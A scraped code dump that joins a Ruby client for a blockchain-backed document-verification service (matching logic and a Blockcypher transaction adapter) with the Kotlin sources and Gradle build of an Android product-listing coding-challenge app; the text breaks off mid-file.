sent_type_credentials_fields) vector_probability = (vector_weight / total_response_weight) * 100 compare_document = sent_document.clone sent_names = compare_document["names"].clone compare_document.delete("names") # let's compare found vector with sent_document diff_fields = [] validated = {} # flip vector vector_fliped = {} vector.each { |hashed_vector_field, vector_values| if hashed_vector_field != "names_parts" vector_fliped[vector_values[1]] = vector_values[2] end } # all fields except of names compare_document.each { |compare_field, compared_value_hashed| compare_field_hashed = Digest::SHA512.hexdigest(compare_field) if vector.key?(compare_field_hashed) vector_values = vector[compare_field_hashed] if sent_document[vector_values[1]] != vector_values[0] diff_fields.push(compare_field) else validated[compare_field] = { "validations_weight" => vector_values[2] } end else validated[compare_field] = { "validations_weight" => 0 } end } # names surname_matched = false given_names_matched = false if vector.key?("names_parts") if vector["names_parts"].key?("surname") validated["surname"] = { "vector_values" => vector["names_parts"]["surname"], "validations_weight" => vector_fliped["surname"] } surname_matched = true else diff_fields.push("surname") end else diff_fields.push("surname") end if vector.key?("names_parts") if vector["names_parts"].key?("given_names") validated["given_names"] = { "vector_values" => vector["names_parts"]["given_names"], "validations_weight" => vector_fliped["given_names"] } given_names_matched = true else diff_fields.push("given_names") end else diff_fields.push("given_names") end if surname_matched && given_names_matched diff = sent_names - vector["names_parts"]["surname"] - vector["names_parts"]["given_names"] if diff.length > 0 diff_fields.push("surname") diff_fields.push("given_names") end end if vector_probability > PROBABILITY_THRESHOLD ## COULD MAKE A DECISION if diff_fields.length == 0 return { "decision_made" => true, "decision" => "MATCH", "validations" => validated } end return { "decision_made" => true, "decision" => "POSSIBLE_MISTAKES", "possible_mistakes" => diff_fields, "validations" => validated } end diff_variants.push(diff_fields) } ## ANALYSE DIFF_VARIANTS all_the_same = true prev_diff_fields = nil diff_variants.each { |diff_fields| if prev_diff_fields != nil if prev_diff_fields.uniq.sort != diff_fields.uniq.sort all_the_same = false break end end prev_diff_fields = diff_fields } if all_the_same return { "decision_made" => true, "decision" => "POSSIBLE_MISTAKES", "possible_mistakes" => prev_diff_fields } end return { "decision_made" => true, "decision" => "POSSIBLE_MISTAKES", "possible_mistakes" => diff_variants } end end end<file_sep>module VChainClient class BlockcypherBlockchainAdapter < VChainClient::BlockchainAdapter @log = nil @config = nil @api_token = nil def initialize(api_token, adapter_config, app_config) @api_token = api_token @config = app_config @log = Log4r::Logger["vchain_client"] end def getName() return "BlockcypherBlockchainAdapter" end def getTx(txid) url = "https://api.blockcypher.com/v1/btc/main/txs/" url += txid url += "?token="+ @api_token url += "&rand="+ Random.rand(0...999999).to_s if @log.debug? @log.debug("[Blockcypher.getTx] input:") @log.debug("-> txid: #{txid}") @log.debug("[Blockcypher.getTx] will call '#{url}'") end req = nil begin req = RestClient.get(url) rescue => e if @log.error? @log.error("[Blockcypher.getTx] RestClient.get raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> txid: #{txid}") @log.error("--> url: #{url}") end raise e end if req == nil if @log.error? @log.error("[Blockcypher.getTx] failed to call REST") @log.error("-> txid: #{txid}") @log.error("--> url: #{url}") end return nil end if req.code != 200 if @log.error? @log.error("[Blockcypher.getTx] REST call returned "+ req.code.to_s) @log.error("-> txid: #{txid}") @log.error("--> url: #{url}") end return nil end if @log.debug? @log.debug("[Blockcypher.getTx] REST call response:") @log.debug(req.body) end res = JSON.parse req.body confirmations_threshold = 5 if @config.key?("blockchain_confirmations") confirmations_threshold = @config["blockchain_confirmations"] end if res != nil if res.key?("confirmations") if res["confirmations"] > confirmations_threshold if res.key?("block_hash") if res.key?("confirmed") block_timestamp = nil begin block_timestamp = DateTime.parse(res["confirmed"]).to_i rescue => e if @log.error? @log.error("[Blockcypher.getTx] DateTime.parse('confirmed').to_i raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> txid: #{txid}") @log.error("--> url: #{url}") end raise e end if block_timestamp == nil if @log.error? @log.error("[Blockcypher.getTx] failed to convert 'confirmed' field to timestamp") @log.error("-> txid: #{txid}") @log.error("--> url: #{url}") end return nil end op_return = nil begin op_return = self.getOpReturn(res) rescue => e if @log.error? @log.error("[Blockcypher.getTx] getOpReturn raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> txid: #{txid}") @log.error("--> res:") @log.error(res) end raise e end if op_return != nil prefix = op_return[0..2] if prefix == "VCH" op_return = op_return[5..op_return.length] return { "size" => res["size"], "block_hash" => res["block_hash"], "block_timestamp" => block_timestamp, "op_return" => op_return } else if @log.error? @log.error("[Blockcypher.getTx] wrong prefix '#{prefix}'") @log.error("-> txid: #{txid}") @log.error("--> res:") @log.error(res) end end else if @log.error? @log.error("[Blockcypher.getTx] failed to get OP_RETURN") @log.error("-> txid: #{txid}") @log.error("--> res:") @log.error(res) end end else if @log.error? @log.error("[Blockcypher.getTx] no 'confirmed' field in response") @log.error("-> txid: #{txid}") @log.error("--> url: #{url}") end end else if @log.error? @log.error("[Blockcypher.getTx] no 'block_hash' field in response") @log.error("-> txid: #{txid}") @log.error("--> url: #{url}") end end else if @log.error? @log.error("[Blockcypher.getTx] less than 6 confirmations") @log.error("-> txid: #{txid}") @log.error("--> url: #{url}") end end else if @log.error? @log.error("[Blockcypher.getTx] no 'confirmations' field") @log.error("-> txid: #{txid}") @log.error("--> url: #{url}") end end else if @log.error? @log.error("[Blockcypher.getTx] REST call - empty response") @log.error("-> txid: #{txid}") @log.error("--> url: #{url}") end end return nil end def getOpReturn(raw_tx) if raw_tx != nil if raw_tx.key?("outputs") if raw_tx["outputs"].length > 0 raw_tx["outputs"].each { |vout| if vout.key?("script_type") if vout["script_type"] == "null-data" if vout.key?("data_string") return vout["data_string"] end end end } end end end return nil end end end
27bed80e3543f57cd13505d3f5e8a966ae35e2b6
[ "Markdown", "Ruby" ]
12
Ruby
vchain-dev/ruby-client
4b94e9092e3da2d751df6a8d28f4373b21104cad
06da22a14347aedc0e80ecbffa4212ee4bfef7cd
refs/heads/main
<file_sep>package rk.mk.sephora.data.remote.api import io.reactivex.Single import retrofit2.http.GET import rk.mk.sephora.data.remote.remote_model.ItemsRemoteModel import rk.mk.sephora.data.remote.remote_model.ProductRemoteModel /** * This interface represents the endpoints used to manage products. */ interface ProductInterface { /** * This function represents the endpoint used to extract the products. * * @return a [Single] observable containing a [List] of [ProductRemoteModel] */ @GET("/items.json") fun getProducts(): Single<ItemsRemoteModel> }<file_sep>package rk.mk.sephora.presentation.viewmodel import android.util.Log import android.view.View import androidx.databinding.ObservableInt import androidx.lifecycle.MutableLiveData import androidx.lifecycle.ViewModel import com.heetch.technicaltest.presentation.util.schedulers.impl.SchedulerProvider import io.reactivex.Observable import io.reactivex.android.schedulers.AndroidSchedulers import io.reactivex.disposables.CompositeDisposable import io.reactivex.schedulers.Schedulers import rk.mk.sephora.data.remote.remote_model.ItemsRemoteModel import rk.mk.sephora.data.remote.remote_model.ProductRemoteModel import rk.mk.sephora.domain.local_model.Product import rk.mk.sephora.domain.repository.ProductRepositoryImpl import rk.mk.sephora.domain.usecase.GetProductsUseCase import java.util.concurrent.TimeUnit /** * This class is the Products List Activity viewModel. * It extends the [ViewModel] class. * * @constructor Creates a [ProductsListViewModel] */ class ProductsListViewModel : ViewModel() { //Data related variables var mProductList = arrayListOf<Product>() var mProductLiveData: MutableLiveData<ArrayList<Product>> = MutableLiveData() //UI state variables var hasProvidedResults = false private var mCompositeDisposable = CompositeDisposable() var mSpinKitVisibility = ObservableInt(View.VISIBLE) var mProductRecyclerVisibility = ObservableInt(View.INVISIBLE) var mWelcomeMessageVisibility = ObservableInt(View.INVISIBLE) /** * This init block is called when the [ProductsViewModel] is created. * */ init { fakeData() } private fun fakeData() { val items = listOf( ProductRemoteModel( "73A7F70C-75DA-4C2E-B5A3-EED40DC53AA6", "Description 1", "Location 1", "https://url-1.com" ), ProductRemoteModel( "BA298A85-6275-48D3-8315-9C8F7C1CD109", "", "Location 2", "https://url-2.com" ), ProductRemoteModel( "5A0D45B3-8E26-4385-8C5D-213E160A5E3C", "Description 3", "", "https://url-3.com" ), ProductRemoteModel( "FF0ECFE2-2879-403F-8DBE-A83B4010B340", "", "", "https://url-4.com" ), ProductRemoteModel( "DC97EF5E-2CC9-4905-A8AD-3C351C311001", "Description 5", "Location 5", "https://url-5.com" ), ProductRemoteModel( "557D87F1-25D3-4D77-82E9-364B2ED9CB30", "Description 6", "Location 6", "https://url-6.com" ), ProductRemoteModel( "A83284EF-C2DF-415D-AB73-2A9B8B04950B", "Description 7", "Location 7", "https://url-7.com" ), ProductRemoteModel( "F79BD7F8-063F-46E2-8147-A67635C3BB01", "Description 8", "Location 8", "https://url-8.com" ) ) val itemObj = ItemsRemoteModel(items) val delayedObservable = Observable.just(itemObj.items).delay(2, TimeUnit.SECONDS) .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe { data -> showProducts(ItemsRemoteModel(data)) } //mCompositeDisposable.add(delayedObservable) //showProducts(itemObj) } fun callApi() { mCompositeDisposable.add( GetProductsUseCase( ProductRepositoryImpl(), SchedulerProvider() ) .buildUseCaseSingle().map { showProducts(it) } .subscribe()) } /** * This function shows the list of available products on the screen. * * @property remoteProductsList * */ private fun showProducts(remoteProductsList: ItemsRemoteModel) { Log.d(ProductsListViewModel::javaClass.toString(), "Showing products : $remoteProductsList") if (remoteProductsList.items.isNotEmpty()) { hasProvidedResults = true mProductRecyclerVisibility.set(View.VISIBLE) mSpinKitVisibility.set(View.INVISIBLE) mWelcomeMessageVisibility.set(View.INVISIBLE) updateProductDataList(remoteProductsList.items) } else { hasProvidedResults = false mProductRecyclerVisibility.set(View.INVISIBLE) mWelcomeMessageVisibility.set(View.VISIBLE) } } /** * This function updates the local data list and notifies the bound activities. * * @property products * */ private fun updateProductDataList(products: List<ProductRemoteModel>) { mProductList.clear() products.forEach { productRemoteModel -> mProductList.add(Product(productRemoteModel)) } mProductLiveData.value = mProductList } /** * This function resets the composite of disposables and frees the observers by clearing everything. * */ fun reset() { mProductList.clear() mProductLiveData.value!!.clear() if (!mCompositeDisposable.isDisposed) { mCompositeDisposable.dispose() } mCompositeDisposable.clear() } } <file_sep>package com.heetch.technicaltest.presentation.viewmodel import androidx.fragment.app.FragmentActivity import androidx.lifecycle.ViewModel import androidx.lifecycle.ViewModelProvider import rk.mk.sephora.presentation.viewmodel.ProductActivityViewModel import rk.mk.sephora.presentation.viewmodel.ProductsListViewModel /** * This class is a view model factory. * * It extends the [ViewModelProvider.Factory] class. */ class ViewModelFactory(fragmentActivity: FragmentActivity) : ViewModelProvider.Factory { var mFragmentActivity = fragmentActivity /** * This function is called to build ViewModel. * * @param T * @property modelClass */ override fun <T : ViewModel?> create(modelClass: Class<T>): T { if (modelClass.isAssignableFrom(ProductsListViewModel::class.java)) { return ProductsListViewModel() as T } if (modelClass.isAssignableFrom(ProductActivityViewModel::class.java)) { return ProductActivityViewModel(mFragmentActivity) as T } throw IllegalArgumentException("UnknownViewModel") } }<file_sep>package rk.mk.sephora.data.remote.repository import io.reactivex.Single import rk.mk.sephora.data.remote.remote_model.ItemsRemoteModel import rk.mk.sephora.data.remote.remote_model.ProductRemoteModel /** * This interface represents the repository used to access and manage the products. */ interface ProductRepository { /** * This function is used to extract the products. * * @return a [Single] observable containing a [List] of [ProductRemoteModel] */ fun getProducts(): Single<ItemsRemoteModel> }<file_sep>package rk.mk.sephora.domain.local_model import rk.mk.sephora.data.remote.remote_model.ProductRemoteModel import java.io.Serializable /** * This data class represents the plain object of a product * It is a local data object used in the scope of this application. * * @property id is id of the product * @property description is description of the product * @property location is last name of the product * @property image is url of the profile image of the product * * @constructor Creates an object of [Product]. */ class Product : Serializable { var id: String var description: String var location: String var image: String /** * This secondary constructor builds a [Product] object out of a [ProductRemoteModel] object. * * @param productRemoteModel * * @constructor Creates an object of [Product]. */ constructor(productRemoteModel: ProductRemoteModel) { id = productRemoteModel.id description = productRemoteModel.description location = productRemoteModel.location image = productRemoteModel.image } /** * This prints a [Product] object. * * @return [String] */ override fun toString(): String { return "Product(id='$id', description='$description', location='$location', image='$image')" } }<file_sep># Sephora-App Sephora coding challenge app. <file_sep>package rk.mk.sephora.data.remote.remote_model import androidx.annotation.Nullable import com.google.gson.annotations.SerializedName import rk.mk.sephora.data.JsonDeserializerWithOptions /** * This data class represents the plain object of the Product * It is built from the received json of the [ProductInterface]. * * @property id is id of the product * @property description is description of the product * @property location is last name of the product * @property image is url of the profile image of the product * * @constructor Creates an object of [ProductRemoteModel]. */ data class ProductRemoteModel( @JsonDeserializerWithOptions.FieldRequired @SerializedName("id") var id: String, @Nullable @SerializedName("description") var description: String, @Nullable @SerializedName("location") var location: String, @Nullable @SerializedName("image") var image: String )<file_sep>package rk.mk.sephora.presentation.view.extra import androidx.fragment.app.Fragment import androidx.recyclerview.widget.RecyclerView import rk.mk.sephora.databinding.RowProductListBinding import rk.mk.sephora.domain.local_model.Product import rk.mk.sephora.presentation.viewmodel.ItemProductViewModel import java.util.* /** * This class the Products View Holder. * * @property rowProductListBinding is the binding to the ui element of a product. * It extends the Recycler View Holder Class. * * @constructor Creates a [ProductViewHolder] */ class ProductViewHolder(rowProductListBinding: RowProductListBinding) : RecyclerView.ViewHolder(rowProductListBinding.root) { var mItemProductBinding: RowProductListBinding? = rowProductListBinding /** * This function binds the product to its appropriate view model. * * @property product */ fun bindProduct(product: Product, fragment: Fragment) { if (mItemProductBinding!!.productViewModel == null) { mItemProductBinding!!.productViewModel = ItemProductViewModel(product, fragment) } else { mItemProductBinding!!.productViewModel!!.product = product } } }<file_sep>package rk.mk.sephora.presentation.util.image import android.graphics.Bitmap import com.squareup.picasso.Picasso import io.reactivex.Observable import rk.mk.sephora.presentation.util.image.ImageDownloader /** * This class represents an implementation of [ImageDownloader] interface used to download images. */ class RxPicasso : ImageDownloader { /** * This function is the definition used to load the image using [Picasso]. * * @property url of the image. * * @return a [Observable] containing a [Bitmap] */ override fun loadImage(url: String): Observable<Bitmap> { return Observable.fromCallable { //Using the Picasso library to download te image Picasso.get().load(url).get() } } }<file_sep>package rk.mk.sephora.presentation.viewmodel import androidx.lifecycle.MutableLiveData import androidx.lifecycle.ViewModel import rk.mk.sephora.domain.local_model.Product class SharedViewModel : ViewModel() { var data = MutableLiveData<Product>() fun data(item: Product) { data.value = item } }<file_sep>package rk.mk.sephora.data import androidx.annotation.NonNull import com.google.gson.* import java.lang.reflect.Field import java.lang.reflect.Type class JsonDeserializerWithOptions<T> : JsonDeserializer<T> { /** * To mark required fields of the model: * json parsing will be failed if these fields won't be provided. */ @Retention(AnnotationRetention.RUNTIME) // to make reading of this field possible at the runtime @Target(AnnotationTarget.FIELD) // to make annotation accessible throw the reflection annotation class FieldRequired /** * Called when the model is being parsed. * * @param je Source json string. * @param type Object's model. * @param jdc Unused in this case. * * @return Parsed object. * * @throws JsonParseException When parsing is impossible. */ @Throws(JsonParseException::class) override fun deserialize(je: JsonElement?, type: Type?, jdc: JsonDeserializationContext?): T { // Parsing object as usual. val pojo: T = Gson().fromJson(je, type) // Getting all fields of the class and checking if all required ones were provided. checkRequiredFields(pojo!!::class.java.declaredFields, pojo) // Checking if all required fields of parent classes were provided. checkSuperClasses(pojo) // All checks are ok. return pojo } /** * Checks whether all required fields were provided in the class. * * @param fields Fields to be checked. * @param pojo Instance to check fields in. * * @throws JsonParseException When some required field was not met. */ @Throws(JsonParseException::class) private fun checkRequiredFields(@NonNull fields: Array<Field>, @NonNull pojo: Any) { // Checking nested list items too. if (pojo is List<*>) { for (pojoListPojo in pojo) { checkRequiredFields(pojoListPojo!!.javaClass.declaredFields, pojoListPojo) checkSuperClasses(pojoListPojo) } } for (f in fields) { // If some field has required annotation. if (f.getAnnotation(FieldRequired::class.java) != null) { try { // Trying to read this field's value and check that it truly has value. f.isAccessible = true val fieldObject: Any = f.get(pojo) if (fieldObject == null) { // Required value is null - throwing error. throw JsonParseException( String.format( "%1\$s -> %2\$s", pojo.javaClass.simpleName, f.name ) ) } else { checkRequiredFields(fieldObject.javaClass.declaredFields, fieldObject) checkSuperClasses(fieldObject) } } // Exceptions while reflection. catch (e: IllegalArgumentException) { throw JsonParseException(e) } catch (e: IllegalAccessException) { throw JsonParseException(e) } } } } /** * Checks whether all super classes have all required fields. * * @param pojo Object to check required fields in its superclasses. * * @throws JsonParseException When some required field was not met. */ @Throws(JsonParseException::class) private fun checkSuperClasses(@NonNull pojo: Any) { var superclass: Class<*> = pojo.javaClass while (superclass.superclass.also { superclass = it } != null) { checkRequiredFields(superclass.declaredFields, pojo) } } }<file_sep>package rk.mk.sephora.data.remote.remote_model import com.google.gson.annotations.SerializedName import rk.mk.sephora.data.JsonDeserializerWithOptions data class ItemsRemoteModel( @JsonDeserializerWithOptions.FieldRequired @SerializedName("items") val items: List<ProductRemoteModel> )<file_sep>package com.heetch.technicaltest.presentation.util.schedulers.impl import com.heetch.technicaltest.presentation.util.schedulers.interfaces.BaseSchedulerProvider import io.reactivex.schedulers.Schedulers /** * Schedules work on the current thread but does not execute immediately. * Work is put in a queue and executed after the current unit of work is completed. */ class TrampolineSchedulerProvider : BaseSchedulerProvider { override fun computation() = Schedulers.trampoline() override fun ui() = Schedulers.trampoline() override fun io() = Schedulers.trampoline() }<file_sep>package rk.mk.sephora.presentation.view.activities import android.os.Bundle import androidx.appcompat.app.AppCompatActivity import rk.mk.sephora.R class HomeActivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_home) val listFrag = ListFragment() val fragmentTransaction = supportFragmentManager.beginTransaction() fragmentTransaction.replace(R.id.frameFragmentHome, listFrag) fragmentTransaction.addToBackStack(null) fragmentTransaction.commit() } }<file_sep>package rk.mk.sephora.presentation.viewmodel import androidx.databinding.ObservableField import androidx.fragment.app.FragmentActivity import androidx.lifecycle.MutableLiveData import androidx.lifecycle.ViewModel import androidx.lifecycle.ViewModelProviders import rk.mk.sephora.domain.local_model.Product class ProductActivityViewModel(fragmentActivity: FragmentActivity) : ViewModel() { //Data related variables lateinit var mProduct: Product var mProductLiveData: MutableLiveData<Product> = MutableLiveData() //UI state variables var mProductDescription = ObservableField("") var mProductLocation = ObservableField("") init { val sharedViewModel = ViewModelProviders.of(fragmentActivity).get(SharedViewModel::class.java) sharedViewModel.data.observe(fragmentActivity, { mProductLiveData.value = it mProduct = it mProductDescription.set(mProduct.description) mProductLocation.set(mProduct.location) }) } }<file_sep>plugins { id 'com.android.application' id 'kotlin-android' id 'kotlin-kapt' id 'org.jetbrains.dokka' } android { compileSdk 31 defaultConfig { applicationId "rk.mk.sephora" minSdk 21 targetSdk 31 versionCode 1 versionName "1.0" vectorDrawables.useSupportLibrary = true multiDexEnabled true testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' } } buildFeatures { viewBinding = true } dataBinding { enabled = true } compileOptions { sourceCompatibility JavaVersion.VERSION_1_8 targetCompatibility JavaVersion.VERSION_1_8 } kotlinOptions { jvmTarget = '1.8' } flavorDimensions "version" productFlavors { create("basic") { dimension = "version" applicationIdSuffix = ".basic" versionNameSuffix = "-basic" } create("gold") { dimension = "version" applicationIdSuffix = ".gold" versionNameSuffix = "-gold" } } } tasks.dokkaHtml.configure { outputDirectory.set(file("../documentation/html")) } tasks.dokkaJavadoc.configure { outputDirectory.set(file("../documentation/javadoc")) } dokkaHtml.configure { dokkaSourceSets { named("main") { skipDeprecated.set(true) } } } dependencies { implementation 'androidx.core:core-ktx:1.6.0' implementation 'androidx.appcompat:appcompat:1.3.1' implementation 'com.google.android.material:material:1.4.0' implementation 'androidx.constraintlayout:constraintlayout:2.1.1' androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0' //androidx & compat implementation 'androidx.appcompat:appcompat:1.3.1' implementation 'androidx.core:core-ktx:1.6.0' implementation 'androidx.constraintlayout:constraintlayout:2.1.1' implementation 'com.google.android.material:material:1.4.0' //rxjava implementation "io.reactivex.rxjava2:rxjava:2.2.10" implementation 'io.reactivex.rxjava2:rxandroid:2.1.1' implementation "pl.charmas.android:android-reactive-location2:2.1@aar" implementation 'com.jakewharton.rxbinding3:rxbinding-core:3.0.0-alpha2' implementation 'com.jakewharton.rxbinding3:rxbinding:3.0.0-alpha2' implementation 'com.squareup.retrofit2:adapter-rxjava2:2.9.0' //network implementation "com.squareup.okhttp3:okhttp:4.9.1" implementation 'com.squareup.retrofit2:retrofit:2.9.0' implementation 'com.squareup.retrofit2:converter-gson:2.9.0' implementation "com.squareup.okhttp3:logging-interceptor:4.9.0" implementation 'androidx.test:core-ktx:1.4.0' //UI implementation 'com.github.ybq:Android-SpinKit:1.4.0' implementation 'com.squareup.picasso:picasso:2.71828' //Dex implementation 'androidx.multidex:multidex:2.0.1' implementation 'androidx.recyclerview:recyclerview:1.3.0-alpha01' implementation 'android.arch.lifecycle:extensions:1.1.1' //Testing testImplementation "org.mockito:mockito-inline:3.8.0" testImplementation "androidx.arch.core:core-testing:2.1.0" testImplementation "com.nhaarman.mockitokotlin2:mockito-kotlin:2.0.0" androidTestImplementation "org.mockito:mockito-android:3.9.0" testImplementation group: 'org.powermock', name: 'powermock-api-mockito2', version: "2.0.9" testImplementation group: 'org.powermock', name: 'powermock-module-junit4', version: "2.0.9" //tests testImplementation 'junit:junit:4.13.2' androidTestImplementation 'androidx.test:runner:1.4.0' androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0' //Documentation dokkaHtmlPlugin("org.jetbrains.dokka:kotlin-as-java-plugin:1.5.30") }<file_sep>package rk.mk.sephora.domain.usecase import com.heetch.technicaltest.presentation.util.schedulers.interfaces.BaseSchedulerProvider import io.reactivex.Single import rk.mk.sephora.data.remote.remote_model.ItemsRemoteModel import rk.mk.sephora.data.remote.remote_model.ProductRemoteModel import rk.mk.sephora.data.remote.repository.ProductRepository /** * This class represents the use case of getting the products list using an observer. * * @property repository The interface of the products repository. * @property schedulerProvider The interface of the schedulers used to run the [Single] observable. * * @constructor Creates a product use case. */ class GetProductsUseCase constructor( private val repository: ProductRepository, private val schedulerProvider: BaseSchedulerProvider ) { /** * This function pulls products lists. * @return a [Single] observable containing a [List] of [ProductRemoteModel] */ fun buildUseCaseSingle( ): Single<ItemsRemoteModel> { return repository.getProducts() .subscribeOn(schedulerProvider.io()) .observeOn(schedulerProvider.ui()) } }<file_sep>package rk.mk.sephora.presentation.viewmodel import android.view.View import android.widget.ImageView import androidx.databinding.BaseObservable import androidx.databinding.BindingAdapter import androidx.fragment.app.Fragment import androidx.lifecycle.ViewModel import androidx.lifecycle.ViewModelProviders import io.reactivex.android.schedulers.AndroidSchedulers import io.reactivex.schedulers.Schedulers import rk.mk.sephora.R import rk.mk.sephora.domain.local_model.Product import rk.mk.sephora.presentation.util.image.RxPicasso import rk.mk.sephora.presentation.view.activities.ProductFragment /** * This class is the Products Item viewModel. * It extends the [BaseObservable] interface. * * @property product related to this view mode. * @property context of the application. * * @constructor Creates a [ItemProductViewModel] */ class ItemProductViewModel(var product: Product, var fragmentActivity: Fragment) : ViewModel() { //Variables bound to the xml (row_product_list) var mProductPictureUrl: String = product.image var mDescription: String = product.description var mLocation: String = product.location /** * This function is called when a product element has been clicked. * Bound to the xml property. * * @property view * */ fun onProductClick(view: View) { val sharedViewModel = ViewModelProviders.of(fragmentActivity).get(SharedViewModel::class.java) sharedViewModel.data.value = product val productFrag = ProductFragment() val manager = fragmentActivity.childFragmentManager val fragmentTransaction = manager.beginTransaction() fragmentTransaction.replace(R.id.frameFragmentHome, productFrag) fragmentTransaction.addToBackStack(null) fragmentTransaction.commit() } } /** * This function is called to update the Product Picture. * The image is downloaded given a url using Picasso Lib. * Bound to the xml property mProductPictureUrl. * * @property imageView * @property url * */ @BindingAdapter("productImageUrl") fun setProductImageUrl(imageView: ImageView, url: String?) { RxPicasso().loadImage(url!!) .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe({ bitmap -> imageView.setImageBitmap(bitmap) }, { it.printStackTrace() val v = (0..10).random() if (v % 2 == 0) imageView.setImageResource(R.drawable.sephora_feature) else imageView.setImageResource(R.drawable.product_image_holder) }) }<file_sep>package rk.mk.sephora.data import okhttp3.* import okhttp3.MediaType.Companion.toMediaTypeOrNull import okhttp3.ResponseBody.Companion.toResponseBody import rk.mk.sephora.BuildConfig class MockInterceptor : Interceptor { override fun intercept(chain: Interceptor.Chain): Response { if (BuildConfig.DEBUG) { val uri = chain.request().url.toUri().toString() val responseString = when { uri.endsWith("starred") -> mockProductList else -> "" } return chain.proceed(chain.request()) .newBuilder() .code(200) .protocol(Protocol.HTTP_2) .message(responseString) .body( responseString.toByteArray() .toResponseBody("application/json".toMediaTypeOrNull()) ) .addHeader("content-type", "application/json") .build() } else { //just to be on safe side. throw IllegalAccessError( "MockInterceptor is only meant for Testing Purposes and " + "bound to be used only with DEBUG mode" ) } } } const val mockProductList = """ { "items": [ { "id": "73A7F70C-75DA-4C2E-B5A3-EED40DC53AA6", "description": "Description 1", "location": "Location 1", "image": "https://url-1.com" }, { "id": "BA298A85-6275-48D3-8315-9C8F7C1CD109", "location": "Location 2", "image": "https://url-2.com" }, { "id": "5A0D45B3-8E26-4385-8C5D-213E160A5E3C", "description": "Description 3", "image": "https://url-3.com" }, { "id": "FF0ECFE2-2879-403F-8DBE-A83B4010B340", "image": "https://url-4.com" }, { "id": "DC97EF5E-2CC9-4905-A8AD-3C351C311001", "description": "Description 5", "location": "Location 5", "image": "https://url-5.com" }, { "id": "557D87F1-25D3-4D77-82E9-364B2ED9CB30", "description": "Description 6", "location": "Location 6", "image": "https://url-6.com" }, { "id": "A83284EF-C2DF-415D-AB73-2A9B8B04950B", "description": "Description 7", "location": "Location 7", "image": "https://url-7.com" }, { "id": "F79BD7F8-063F-46E2-8147-A67635C3BB01", "description": "Description 8", "location": "Location 8", "image": "https://url-8.com" } ] } """<file_sep>package rk.mk.sephora.data.remote.api import android.util.Log import com.google.gson.Gson import com.google.gson.GsonBuilder import okhttp3.OkHttpClient import okhttp3.logging.HttpLoggingInterceptor import retrofit2.Retrofit import retrofit2.adapter.rxjava2.RxJava2CallAdapterFactory import retrofit2.converter.gson.GsonConverterFactory import rk.mk.sephora.data.JsonDeserializerWithOptions import rk.mk.sephora.data.remote.api.SephoraApi.BASE_URL import rk.mk.sephora.data.remote.api.SephoraApi.retrofit import rk.mk.sephora.data.remote.remote_model.ItemsRemoteModel import java.util.concurrent.TimeUnit /** * This singleton object represents Api builder using [Retrofit]. * @property BASE_URL is the Apis base url * @property retrofit is retrofit object used to build the requests */ object SephoraApi { const val BASE_URL = "https://sephoraios.github.io" val retrofit = buildRetrofit(BASE_URL) /** * This function is used to build a [Retrofit] object. * * @property baseUrl is the base url of the Api. * * @return a [Retrofit] */ private fun buildRetrofit(baseUrl: String): Retrofit { val loggingInterceptor = provideLoggingInterceptor() val httpClient = provideLoggingCapableHttpClient(loggingInterceptor) val gson = provideGsonConverter() val rxJavaCallAdapterFactory = provideRxJavaCallAdapterFactory() return provideRetrofitBuilder(httpClient, gson, rxJavaCallAdapterFactory).baseUrl(baseUrl) .build() } /** * This function is used to build a [HttpLoggingInterceptor] object. * * @return a [HttpLoggingInterceptor] */ private fun provideLoggingInterceptor(): HttpLoggingInterceptor = HttpLoggingInterceptor { message -> Log.e("Retrofit logging", message) }.apply { level = HttpLoggingInterceptor.Level.BODY } /** * This function is used to build a [HttpLoggingInterceptor] object. * * @property loggingInterceptor is the login interceptor used to build the [OkHttpClient]. * * @return a [OkHttpClient] */ private fun provideLoggingCapableHttpClient(loggingInterceptor: HttpLoggingInterceptor): OkHttpClient { return OkHttpClient.Builder() .connectTimeout(10, TimeUnit.SECONDS) .readTimeout(30, TimeUnit.SECONDS) .writeTimeout(30, TimeUnit.SECONDS) .addInterceptor(loggingInterceptor) .build() } /** * This function is used to build a retrofit builder. * * @property okHttpClient * @property gson * @property rxJavaCallAdapterFactory * * @return a [Retrofit.Builder] */ private fun provideRetrofitBuilder( okHttpClient: OkHttpClient, gson: Gson, rxJavaCallAdapterFactory: RxJava2CallAdapterFactory ): Retrofit.Builder { return Retrofit.Builder() .addConverterFactory(GsonConverterFactory.create(gson)) .addCallAdapterFactory(rxJavaCallAdapterFactory) .client(okHttpClient) } /** * This function is used to provide a [Gson] that converts the received Json to objects. * * @return a [Gson] */ private fun provideGsonConverter(): Gson { return GsonBuilder() .serializeNulls() .disableHtmlEscaping() .registerTypeAdapter( ItemsRemoteModel::class.java, JsonDeserializerWithOptions<ItemsRemoteModel>() ) .create() } /** * This function is used to provide a [RxJava2CallAdapterFactory] that acts as a callback. * * @return a [RxJava2CallAdapterFactory] */ private fun provideRxJavaCallAdapterFactory(): RxJava2CallAdapterFactory { return RxJava2CallAdapterFactory.create() } }<file_sep>package rk.mk.sephora.presentation.util.image import android.graphics.Bitmap import io.reactivex.Observable /** * This interface represents the contract for image downloading. */ interface ImageDownloader { /** * This function is the definition used to load the image from a given url. * * @property url of the image. * * @return a [Observable] containing a [Bitmap] */ fun loadImage(url: String): Observable<Bitmap> }<file_sep>package rk.mk.sephora.presentation.view.activities import android.os.Bundle import android.view.LayoutInflater import android.view.View import android.view.ViewGroup import androidx.databinding.DataBindingUtil import androidx.fragment.app.Fragment import androidx.lifecycle.LifecycleOwner import androidx.lifecycle.ViewModelProviders import com.heetch.technicaltest.presentation.viewmodel.ViewModelFactory import rk.mk.sephora.R import rk.mk.sephora.databinding.FragmentProductBinding import rk.mk.sephora.presentation.viewmodel.ProductActivityViewModel class ProductFragment : Fragment(), LifecycleOwner { private var mProductActivityBinding: FragmentProductBinding? = null private var mProductsActivityViewModel: ProductActivityViewModel? = null override fun onCreateView( inflater: 